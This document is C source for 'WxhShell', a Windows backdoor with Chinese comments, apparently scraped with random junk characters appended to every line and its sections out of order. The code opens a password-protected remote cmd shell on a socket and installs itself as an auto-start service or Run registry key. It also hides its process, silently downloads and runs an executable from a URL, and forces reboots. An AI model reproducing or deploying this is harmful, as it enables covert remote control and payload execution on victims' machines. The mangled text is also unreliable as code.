    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -v?,{?$0  
    if(Boot(SHUTDOWN)) &&$/>[0=.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zrk/}b0j  
    else { ^4(CO[|c~  
    closesocket(wsh); 6i[\?7O'0  
    ExitThread(0); QT{$2 7;  
    } aGVzg$  
    break; "wL~E Si  
    } o/buU{)y  
  // 获取shell zOYkkQE3mJ  
  case 's': { S+>&O3m  
    CmdShell(wsh); `%;n HQ"  
    closesocket(wsh); }u cqzdk#2  
    ExitThread(0); iKv`[k  
    break; C>7Mx{!H  
  } fHvQ9*T  
  // 退出 zk5sAHQ  
  case 'x': { IcZ_AIjlk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^% BD  
    CloseIt(wsh); S`2MQL  
    break; .vNfbYH(  
    } ka{9{/dz3  
  // 离开 "L@qjSs8  
  case 'q': { 3~6F`G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;=: R|  
    closesocket(wsh); *E0+!  
    WSACleanup(); hR b k-b  
    exit(1); x={t}qDS8  
    break; Q_QmyD~m  
        } Y<3s_  
  } wOE_2k  
  } 6nt$o)[  
/b6Y~YbgU  
  // 提示信息 TFbCJ@X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bL_s[-7  
} U y^Hh4|  
  } AKx\U?ei7  
rMxst  
  return; 2g-'.w  
} Y?%MPaN:  
RBr  
// shell模块句柄 $m:}{:LDCf  
int CmdShell(SOCKET sock) J9ovy>G  
{ Wd$N[|  
STARTUPINFO si; *{W5QEa  
ZeroMemory(&si,sizeof(si)); g*t.g@B<2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qMYR\4"$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G39H@@ *O0  
PROCESS_INFORMATION ProcessInfo; ?# >|P-4  
char cmdline[]="cmd"; ^q"p 8   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); deaxb8'7  
  return 0; ({D.oS  
} .6!]RA5!=  
J&^r}6D  
// 自身启动模式 1w+On JI?  
int StartFromService(void) JeMhiY}  
{ ,iCd6M{  
typedef struct o"[P++qd  
{ nhk +9  
  DWORD ExitStatus; N rVQK}%K  
  DWORD PebBaseAddress; dDW],d}B;  
  DWORD AffinityMask; RUf,)]Vvk  
  DWORD BasePriority; /7@@CG6b  
  ULONG UniqueProcessId; }^G'oR1LF  
  ULONG InheritedFromUniqueProcessId; C JiMg'K  
}   PROCESS_BASIC_INFORMATION; @^Mn PM  
",E6)r  
PROCNTQSIP NtQueryInformationProcess; #:T5_9p  
yHQ.EZ~%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T7m rOp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^]'p927  
*-Lnsi^7v  
  HANDLE             hProcess; ,qiS;2(  
  PROCESS_BASIC_INFORMATION pbi; &gF{<$$  
S) V uT0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5g F}7D@  
  if(NULL == hInst ) return 0; JC{}iG6r+  
kSU*d/}*u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <S $Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )%;#~\A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `]5XY8^kI  
{eIE|   
  if (!NtQueryInformationProcess) return 0; tRbZ^5x\@  
#Vul#JHW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #.9Xkn9S  
  if(!hProcess) return 0; BxZ}YS:  
7`X"B*`~b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F xFK  
K!|=)G3.`  
  CloseHandle(hProcess); e hxtNjA  
;oh88,*'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q C~~  
if(hProcess==NULL) return 0; "4g1I<  
 i+(`"8W  
HMODULE hMod; "R*B~73  
char procName[255]; `<HY$PAe  
unsigned long cbNeeded; \Zoo9Wy  
!"2 OcDFx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \nkqp   
&o4L;A#&  
  CloseHandle(hProcess); fhH* R*4  
$ }B"u;:SU  
if(strstr(procName,"services")) return 1; // 以服务启动 V2, .@j#  
7azxqa5:  
  return 0; // 注册表启动 8>pFpS  
} "%f>/k;!h.  
OFRzzG@  
// 主模块 k% In   
int StartWxhshell(LPSTR lpCmdLine) JB%6G|Z  
{ / 6gRoQ%j  
  SOCKET wsl; L@a-"(TN+  
BOOL val=TRUE; \SLYqJ~m  
  int port=0; 9D<^)ShY  
  struct sockaddr_in door; s\7|b:y&  
F,:F9r?l,H  
  if(wscfg.ws_autoins) Install(); zztW7MG2lQ  
'2# 0UdG  
port=atoi(lpCmdLine); =[1 W.Zt  
c |C12b[  
if(port<=0) port=wscfg.ws_port; KOF!a  
}a<MVG:>SF  
  WSADATA data; ,nHz~Xi1t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +nJ}+|@K  
G)<k5U4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \re.KB#R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U#F(#3/  
  door.sin_family = AF_INET; *D<sk7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }FM<uBKW  
  door.sin_port = htons(port); Ccc6 ko_  
)@K|Co  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w-\fCp )  
closesocket(wsl); nosEo? {  
return 1; snEkei|0  
} D ^ &!  
YRYrR|I  
  if(listen(wsl,2) == INVALID_SOCKET) { Ok:@F/ v  
closesocket(wsl); DJn>. Gd  
return 1; 'HqAm$V+  
} >_F& oA#  
  Wxhshell(wsl); yY"%6k,ZB  
  WSACleanup(); #;mZ3[+i5  
Nc"h8p?  
return 0; uO^{+=;A =  
X&p-Ge1>z  
} 3_ zI$Z  
%pwm34  
// 以NT服务方式启动 MfL q h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^k)f oD  
{ +=}% 7o  
DWORD   status = 0; e.HN%LrhS  
  DWORD   specificError = 0xfffffff; <0kRky$  
(g4g-"rc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +5({~2Lzvp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^mz_T+UOe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gj'ar  
  serviceStatus.dwWin32ExitCode     = 0; "M:arP5f  
  serviceStatus.dwServiceSpecificExitCode = 0; n]o+KT\  
  serviceStatus.dwCheckPoint       = 0; 5cfzpOqr0  
  serviceStatus.dwWaitHint       = 0;  Mys;Il "  
L>L4%?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b _u&%  
  if (hServiceStatusHandle==0) return; S3J6P2P  
,LMme}FFeb  
status = GetLastError(); & 9?vQq|%  
  if (status!=NO_ERROR) C8t+-p  
{ \`XJz{Lm]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =riP~%_ML)  
    serviceStatus.dwCheckPoint       = 0; aIfog+Lp  
    serviceStatus.dwWaitHint       = 0; 3oKqj>  
    serviceStatus.dwWin32ExitCode     = status; * e 8V4P  
    serviceStatus.dwServiceSpecificExitCode = specificError; {T^'&W>8G8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FF_$)%YUp  
    return; XsR%_eT  
  } +2?0]6EQ  
jOuv\$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m+u>%Ys`  
  serviceStatus.dwCheckPoint       = 0; )5&m:R9  
  serviceStatus.dwWaitHint       = 0; vEgJmHv;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J}YI-t  
} E"" /dC:B  
?"C]h s  
// 处理NT服务事件,比如:启动、停止 \E#r[9F{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &U,f~KJ  
{ UwM}!K7)G  
switch(fdwControl) [7Kn$OfP  
{ T.|0;Eb  
case SERVICE_CONTROL_STOP: wG|3 iFK  
  serviceStatus.dwWin32ExitCode = 0; VAthQ<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +<q^[<pS  
  serviceStatus.dwCheckPoint   = 0; B!N807  
  serviceStatus.dwWaitHint     = 0; DRzpV6s  
  { CTI(Kh+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i ;tA<-$-  
  } 3jn@ [ m  
  return; %-*vlNC)  
case SERVICE_CONTROL_PAUSE: *K98z ?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tEEhSG)s%  
  break; KW;xlJz(j  
case SERVICE_CONTROL_CONTINUE: ~::R+Lh(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fwnpmuJ  
  break; Sx~_p3_5U  
case SERVICE_CONTROL_INTERROGATE: RXof$2CZS  
  break; pts}?   
}; cp2fDn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HdLkof2i  
} 7]^ }  
I^wj7cFo5  
// 标准应用程序主函数 FU[,,a0<<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [@y=% \%R  
{ q-o>yjT~  
lt$7 97  
// 获取操作系统版本 c,-x}i0c  
OsIsNt=GetOsVer(); ps [6)d)o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EiN.VU `  
'wZy: c  
  // 从命令行安装 -'N#@Wdr  
  if(strpbrk(lpCmdLine,"iI")) Install(); C[KU~@  
E*I]v  
  // 下载执行文件 dSL %%  
if(wscfg.ws_downexe) { XH2 SEeh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #wd \&  
  WinExec(wscfg.ws_filenam,SW_HIDE); .;F+ QP0  
} N 4v)0  
2(rZ@Wl  
if(!OsIsNt) { &B2c]GoW  
// 如果时win9x,隐藏进程并且设置为注册表启动 7E5Dz7  
HideProc(); k1U~S`>$  
StartWxhshell(lpCmdLine); c@^:tB  
} aK>9:{]ez  
else ]Tl\9we  
  if(StartFromService()) g@y" B6X  
  // 以服务方式启动 FezW/+D  
  StartServiceCtrlDispatcher(DispatchTable); LWL>hd  
else bc4x"]!  
  // 普通方式启动 __fR #D  
  StartWxhshell(lpCmdLine); dbuOiZ  
&`Di cfD  
return 0; ~76.S  
} C~;0A!@]Y  
t? A4xk  
y;Zfz~z  
mce`1Tjw  
=========================================== p)^:~ ll  
Fp6Y Y  
{l11WiqQH  
=zjUd  5  
GufP[|7b-  
R>U<8z"i  
" sKuTG93sr@  
9v F2aLPk  
#include <stdio.h> ,1[??Y  
#include <string.h> 3.0c/v5Go  
#include <windows.h> )c'>E4>  
#include <winsock2.h> {e%abr_B  
#include <winsvc.h> Riw7<j  
#include <urlmon.h> Q kZM(pG  
eE{L>u  
#pragma comment (lib, "Ws2_32.lib") :.Qe=}9  
#pragma comment (lib, "urlmon.lib") sBb.Y k  
U>+~.|'V9  
#define MAX_USER   100 // 最大客户端连接数 N39nJqo>"  
#define BUF_SOCK   200 // sock buffer QP[a^5;Tt  
#define KEY_BUFF   255 // 输入 buffer u,akEvH~a  
U&n>fXTHn  
#define REBOOT     0   // 重启 W^ :/0WR  
#define SHUTDOWN   1   // 关机 z^/GTY  
]Z-oUO Z<k  
#define DEF_PORT   5000 // 监听端口 0GYEt  
!:<UgbiVv  
#define REG_LEN     16   // 注册表键长度 Inc:t_  
#define SVC_LEN     80   // NT服务名长度 &a=e=nR5  
7ILa H|eN  
// 从dll定义API |{PJT#W%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8-"5|pNc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ij i.3-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &&}5>kg>d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YU=ZZEVi  
$uw+^(ut  
// wxhshell配置信息 ow_y  
struct WSCFG { iHn!KV  
  int ws_port;         // 监听端口 f 4I#a&DO  
  char ws_passstr[REG_LEN]; // 口令 mrC+J*  
  int ws_autoins;       // 安装标记, 1=yes 0=no @6co\.bv  
  char ws_regname[REG_LEN]; // 注册表键名 @5jG  
  char ws_svcname[REG_LEN]; // 服务名 B#6pQp$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G\+nWvV7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L{LU@.;1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S%X\ ,N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VMIX$#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H~|%vjH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ARdGh_yJ&  
FMd LkyK;  
}; %p2x^air  
)c*k _/ 4  
// default Wxhshell configuration 5g1M_8e'+  
struct WSCFG wscfg={DEF_PORT, K`,d$  
    "xuhuanlingzhe", (bx\4Ws  
    1, *sB-scD  
    "Wxhshell", B^_Chj*m  
    "Wxhshell", PGPbpl&\t  
            "WxhShell Service", I26gGp  
    "Wrsky Windows CmdShell Service", S[ ~O')  
    "Please Input Your Password: ", cN WcNMm  
  1, =/g$bZ  
  "http://www.wrsky.com/wxhshell.exe", Ydh<TF4!  
  "Wxhshell.exe" 9V;$v  
    }; cvUut^CdK  
A3$aMCwKd  
// 消息定义模块 8F^,8kIR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V< vPFxC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +F o$o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,=Nw(GI  
char *msg_ws_ext="\n\rExit."; F[CT l3X  
char *msg_ws_end="\n\rQuit."; k9) u 3  
char *msg_ws_boot="\n\rReboot..."; i6md fp|k  
char *msg_ws_poff="\n\rShutdown..."; Yxd{&47  
char *msg_ws_down="\n\rSave to "; 1_NG+H]x9  
lP*  
char *msg_ws_err="\n\rErr!"; f5aF6FBH  
char *msg_ws_ok="\n\rOK!"; 6%kJDY.  
bqrJP3  
char ExeFile[MAX_PATH]; DMQNr(w{!2  
int nUser = 0; (~Uel1~@  
HANDLE handles[MAX_USER]; }@14E-N=  
int OsIsNt; ;}WtJ&y=M  
|[ Ie.&)  
SERVICE_STATUS       serviceStatus; ,MM>cOQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )@,90Vhh  
X&(ERY,h  
// 函数声明 #$=8g RZj  
int Install(void); 30?LsYXL62  
int Uninstall(void); hDljY!P>p  
int DownloadFile(char *sURL, SOCKET wsh); \- =^]]b=  
int Boot(int flag); sm;E2BR$ `  
void HideProc(void); QtY hg$K3  
int GetOsVer(void); S,9NUt  
int Wxhshell(SOCKET wsl); %i$M/C"(  
void TalkWithClient(void *cs); PZuq'^p  
int CmdShell(SOCKET sock); (/U)> %n  
int StartFromService(void); Jq$_=X&  
int StartWxhshell(LPSTR lpCmdLine); +YkW[a\4  
,\lY Px\P[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %o@['9U[j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2f19W# '0  
Z'Exw-ca  
// 数据结构和表定义 xHJ8?bD p  
SERVICE_TABLE_ENTRY DispatchTable[] = Q1`<fD  
{ 6F*-qb3  
{wscfg.ws_svcname, NTServiceMain}, rFmKmV  
{NULL, NULL} /5Zp-Pq  
}; y9C;T(oi;  
1E5a(  
// 自我安装 X,TTM,1w  
int Install(void) _[OF"X2  
{ U{uPt*GUd/  
  char svExeFile[MAX_PATH]; u C,"5C  
  HKEY key; ]C16y. ~e  
  strcpy(svExeFile,ExeFile); Z5G]p4  
U*3A M_w  
// 如果是win9x系统,修改注册表设为自启动 R:'Ou:Mh  
if(!OsIsNt) { )MWUS;O<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xF( bS+(o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [1{SY=)  
  RegCloseKey(key); `DLp<_z>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CmEpir{}(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 !4~T,9G  
  RegCloseKey(key); iq"ob8.  
  return 0; PiMKu|,3  
    } D|@bGN  
  } T'ED$}N>~  
}  0xJ7M.  
else { /?KtXV>]  
;V_.[aX  
// 如果是NT以上系统,安装为系统服务 B_{HkQ.PW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sm 's-gD  
if (schSCManager!=0) G2.|fp_}pG  
{ pheE^jUr  
  SC_HANDLE schService = CreateService GE1i+.+-.  
  ( /g_9m  
  schSCManager, -S"5{N73  
  wscfg.ws_svcname, X E|B)Q(  
  wscfg.ws_svcdisp, Zg V~W#t  
  SERVICE_ALL_ACCESS, &v^!y=Bt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U|gpCy  
  SERVICE_AUTO_START, {<qF}i:V  
  SERVICE_ERROR_NORMAL, .L9']zXc`  
  svExeFile, I2f?xJ2/Z  
  NULL, ~xGoJrF\  
  NULL, !FTNmyM~F  
  NULL, 9-0<*)"b>  
  NULL, ]@v}y&  
  NULL *YWk1Cwjo  
  ); 00ofHZ  
  if (schService!=0) Btj#EoSI_  
  { W'a(oI  
  CloseServiceHandle(schService); hd+]Ok7"  
  CloseServiceHandle(schSCManager); l)4O .*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M!1U@6n!=)  
  strcat(svExeFile,wscfg.ws_svcname); j'K38@M:MN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F{<5aLaYti  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !p9)CjQ"  
  RegCloseKey(key); I>PZYh'.T  
  return 0; kv6Cp0uFg  
    } >F1G!#$0  
  } ~h-C&G ,v  
  CloseServiceHandle(schSCManager); xwRhs!`t1  
} 9lf*O0Z&n  
} 6{q;1-8j+j  
vT|`%~Be  
return 1; HPrq1QpK  
} q:I$EpKf?Q  
j5Qo*p  
// 自我卸载 8S\RN&T$  
int Uninstall(void) u*3NS$vH  
{ UtnZNdl v  
  HKEY key; nq"evD5  
,7W:fwdR  
if(!OsIsNt) { {( #zcK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bu>qsU3  
  RegDeleteValue(key,wscfg.ws_regname); $B;_Jo\|  
  RegCloseKey(key); WJ |:kuF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f`jc#f5+'  
  RegDeleteValue(key,wscfg.ws_regname); eG5Y+iL-V  
  RegCloseKey(key); Z(j{F<\jS  
  return 0; S}(8f!9<  
  } }GumpT$Xw  
} (hIF]>,kl  
} jjRUL.  
else { + WVIZZ8  
_A98  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Uh2}ic  
if (schSCManager!=0) <a4 TO8  
{ As~(7?]r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w~z[wmOkp  
  if (schService!=0) k|xtrW`qo;  
  { Y34/+Fi  
  if(DeleteService(schService)!=0) { G O{ . 9_2  
  CloseServiceHandle(schService); W+Xz$j/u  
  CloseServiceHandle(schSCManager); Z\~G U*Y.e  
  return 0; 5;\gJf  
  } #`(WUn0H?  
  CloseServiceHandle(schService); ]PWDE"  
  } {ox2Tg?  
  CloseServiceHandle(schSCManager); M*sR3SZ  
} mMSh2B  
} \\06T `  
\P;rES'  
return 1; o!OMm!  
} %<"}y$J  
6sJw@Oa J  
// 从指定url下载文件 ?^i1_v7 Bi  
int DownloadFile(char *sURL, SOCKET wsh) 0V$k7H$Z  
{ 8'Z:ydj^,  
  HRESULT hr; Ej=3/RBsV  
char seps[]= "/"; Tlq-m2]  
char *token; 'm3t|:nMU  
char *file; X T[zj <&_  
char myURL[MAX_PATH]; .B72C[' c  
char myFILE[MAX_PATH]; hB9Ee@  
.pPm~2]z  
strcpy(myURL,sURL); b>\?yL/%+?  
  token=strtok(myURL,seps); zce`\ /:  
  while(token!=NULL) U!(@q!>G  
  { \3Pv# )  
    file=token; ~j>D=!  
  token=strtok(NULL,seps); 0v)bA}k  
  } %zBCq"y  
 Es5f*P0  
GetCurrentDirectory(MAX_PATH,myFILE); m/B6[  
strcat(myFILE, "\\"); N~^yL<O  
strcat(myFILE, file); {2&m`D bm  
  send(wsh,myFILE,strlen(myFILE),0); JIm4vS  
send(wsh,"...",3,0); :s={[KBP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Fo fr  
  if(hr==S_OK) ke_ [  
return 0; `'I{U5;e  
else ]:(W_ qEA  
return 1; mYxyWB  
dq\FBwfe  
} 6at1bQ$  
bWWXc[O2&(  
// 系统电源模块 %FZ2xyI.  
int Boot(int flag) {ZU1x C  
{ .zg8i_  
  HANDLE hToken; \OILWQ[/  
  TOKEN_PRIVILEGES tkp; asJ!NvVG'  
'1?\/,em  
  if(OsIsNt) { 1'.7_EQ4T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z~*g~RKS!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @"-</x3o  
    tkp.PrivilegeCount = 1; ~y HU^5D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DdQ;Q5|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r]@0eb   
if(flag==REBOOT) { /ID3s`D)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z@a9mFI?  
  return 0; E/M_lvQ  
} KRAcnY;u  
else { =GlVccc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ub1hHA*)  
  return 0; %`MQmXgM  
} #Z+i~t{e(  
  }  hc#!Lv  
  else { vhbDb)J  
if(flag==REBOOT) { O.aG[ wm8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o+w;PP)+=  
  return 0; Zxr!:t7  
} !pTJ./  
else { Jn:ZYqc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dZ#&YG)?e  
  return 0; {7u[1[L1  
} j#r6b]k(Hv  
} YHNR 3  
Snp|!e  
return 1; @ "a6fn  
} 1 `^Rdi0  
]aP= Ks%  
// win9x进程隐藏模块 :x.7vZzxs  
void HideProc(void) "Z Htr<+  
{ :y*NM,s  
m>USD? i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >~%e$a7}+  
  if ( hKernel != NULL ) +#U|skl  
  { dr)YzOvba  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qm/Q65>E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :NJ_n6E  
    FreeLibrary(hKernel); pl@O N"=[  
  } ,B?~-2cCz  
OsBo+fwT  
return; <,o>Wx*1C  
} W} WI; cI  
A.<H>=Z# O  
// 获取操作系统版本 H]Hv;fcC  
int GetOsVer(void) fjvN$NgVs  
{ \(226^|j  
  OSVERSIONINFO winfo; 8fA_p}wp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mxor1P#|  
  GetVersionEx(&winfo); !It`+0S b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %CWPbk^  
  return 1; rpeJkG@+  
  else SJD@&m%?[  
  return 0; db'/`JeK b  
} ~ wg:!VWA)  
X%yO5c\l2  
// 客户端句柄模块 ]7-&V-Ct*  
int Wxhshell(SOCKET wsl) Qt_dEl  
{ coYij  
  SOCKET wsh; :0Z^uuk`gq  
  struct sockaddr_in client; ?X@fKAj  
  DWORD myID; (c0A.L)  
;iDPn2?6?x  
  while(nUser<MAX_USER) :#dE:L;T  
{ 2,ECYie^  
  int nSize=sizeof(client); )`^p%k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6'\6OsH  
  if(wsh==INVALID_SOCKET) return 1; %%(R@kh9  
^N8)]F,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &zs'/xv]  
if(handles[nUser]==0) DNGvpKY@  
  closesocket(wsh); +`3!I  
else V_plq6z  
  nUser++; + QQS={  
  } 06jqQ-_`h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  hi g2  
[+O"<Ua  
  return 0; .<kqJ|SVi  
} C9p"?vX  
THmb6^  
// 关闭 socket u2 `b'R9  
void CloseIt(SOCKET wsh) f~ }H  
{ !i=nSqW  
closesocket(wsh); [M+f-kl  
nUser--; aF03a-qw<  
ExitThread(0); cuOvN"nuNj  
} %Uz(Vd#K  
=8U&[F  
// 客户端请求句柄 R<B7K?SxV~  
void TalkWithClient(void *cs) 7GDHz.IX  
{ kdGT{2u  
^eW}XRI  
  SOCKET wsh=(SOCKET)cs; J\ e+}{  
  char pwd[SVC_LEN]; $9?cP`hmi  
  char cmd[KEY_BUFF]; 5`f@>r?  
char chr[1]; &89 oO@5  
int i,j; 0uBl>A7qhn  
2NB L}x  
  while (nUser < MAX_USER) { i<pk6rO1  
mKYeD%Pm*  
if(wscfg.ws_passstr) { 3sd"nR?aX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); odIZo|dv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 42]pYm(jk3  
  //ZeroMemory(pwd,KEY_BUFF); ;WldHaZ9r  
      i=0; ^MBm==heL  
  while(i<SVC_LEN) { =4h+ M$2  
 ~c6}  
  // 设置超时 Ivb 4P`{  
  fd_set FdRead; ,t1abp{A  
  struct timeval TimeOut; ou %/l4dC  
  FD_ZERO(&FdRead); [s<^&WM/  
  FD_SET(wsh,&FdRead); j <o3JV  
  TimeOut.tv_sec=8; p !s}=wI `  
  TimeOut.tv_usec=0; ! !PYP'e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); znJ'iV f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {d?$m*YR3`  
6oui]$pH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u,3#M ~  
  pwd=chr[0]; O]qU[y+  
  if(chr[0]==0xd || chr[0]==0xa) { ek&kv#G  
  pwd=0; [Y`,qB<B  
  break; q%ow/!\;  
  } $0arz{Oh  
  i++; +f[ED4E>'(  
    } I$8" N]/C  
NH3cq  
  // 如果是非法用户,关闭 socket z $MV%F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S4=R^];l  
} Q,80Hor#J  
IgC}&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L<fvKmo(fw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JgHM?AWg|  
`U2DkY&n  
while(1) { -j&Tc` j_  
['ksP-=  
  ZeroMemory(cmd,KEY_BUFF); KoS*0U<g6  
[d* ~@P  
      // 自动支持客户端 telnet标准   _v* nlc  
  j=0; j) ,,"54*  
  while(j<KEY_BUFF) { 8/K!SpM*d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *28pRvY:b  
  cmd[j]=chr[0]; `_&Vt=7lG  
  if(chr[0]==0xa || chr[0]==0xd) { RxQh2<?  
  cmd[j]=0; JsotOic%  
  break; /EG~sRvl}  
  } 3QpYmX<E  
  j++; zq%D/H6J,  
    } frBX{L  
!Kv@\4  
  // 下载文件 A19;1#$=  
  if(strstr(cmd,"http://")) { A4ISNM7R[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J/3_C6UZ  
  if(DownloadFile(cmd,wsh)) 'TA UE{{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S/ibb&  
  else Rar"B*b;$  
